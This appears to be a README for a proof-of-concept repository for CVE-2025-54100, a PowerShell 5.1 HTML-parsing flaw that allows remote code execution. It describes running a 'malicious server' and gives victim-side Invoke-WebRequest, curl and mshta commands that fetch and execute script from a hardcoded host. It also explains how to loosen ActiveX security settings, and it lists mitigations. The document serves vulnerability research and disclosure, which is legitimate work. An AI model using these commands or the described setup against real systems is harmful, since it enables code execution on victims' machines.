CVE-2025-54100 – PowerShell Response Parsing PoC

Demonstrates how CVE-2025-54100 can cause Remote Code Execution (RCE) in Windows PowerShell 5.1 through malicious HTML parsing.

What is CVE-2025-54100?

Vulnerability Type: Risk of command injection when Invoke-WebRequest does not use the -UseBasicParsing parameter

Severity: CVSS 7.8 (High)

Root Cause: MSHTML-based HTML response parsing allows script execution (e.g., ActiveXObject) in the caller's context

Affected Systems:

• Windows 10 / 11
• Windows Server 2008–2025
• PowerShell 5.1

How the PoC Works

1. The FastAPI server in CVE-2025-54100.py returns a crafted HTML payload
2. The script in the HTML attempts to instantiate ActiveX objects such as WScript.Shell / Shell.Application
3. On a vulnerable host, the MSHTML parser executes the script, demonstrating RCE by launching calc.exe
4. The provided payload is minimal and non-destructive, intended only for research and verification, but can be extended for further analysis as needed

Quick Start

Requirements

• Python 3.10+ (tested with FastAPI and Uvicorn)
• Install dependencies

  python3 -m venv .venv
  source .venv/bin/activate
  pip3 install -r requirements.txt
  

Running the Malicious Server

Start the PoC HTTP server:

uvicorn app:app --host 0.0.0.0  --port 8888 --reload

Triggering from the Victim Host

On a vulnerable Windows host, do not use -UseBasicParsing, execute the following commands:

# Invoke-WebRequest
Invoke-WebRequest -Uri "http://192.168.26.16:8888"
# curl（PowerShell 中的别名）
curl http://192.168.26.16:8888
# mshta
mshta http://192.168.26.16:8888

Ensure the port matches the server configuration. If the system is vulnerable, the embedded script will be executed by the MSHTML parser.

Note: Some antivirus software may block this behavior, even though the parsing vulnerability itself still exists.

Troubleshooting and Verification

1. If calc.exe does not pop up:
   1. On the victim machine, open Internet Options
   2. Go to Security → Custom Level
   3. Enable "Initialize and script ActiveX controls not marked as safe"
   4. Execute Invoke-WebRequest again without -UseBasicParsing

This step is for verifying the execution vector. In a real attack scenario, attackers may use obfuscation or bypass techniques to circumvent default security restrictions.

Proof of Concept

Mitigations

Microsoft fixed this vulnerability in December 2025:

1. Install Windows security updates promptly

2. Always use -UseBasicParsing to avoid MSHTML parsing:

   Invoke-WebRequest -Uri "http://<attacker-ip>:8888" -UseBasicParsing
   

3. Migrate to PowerShell 7+ (pwsh). PowerShell Core no longer relies on MSHTML for parsing, architecturally avoiding this issue.

References

• NVD: CVE-2025-54100
• MSRC: Update Guide
• GitHub: osman1337-security/CVE-2025-54100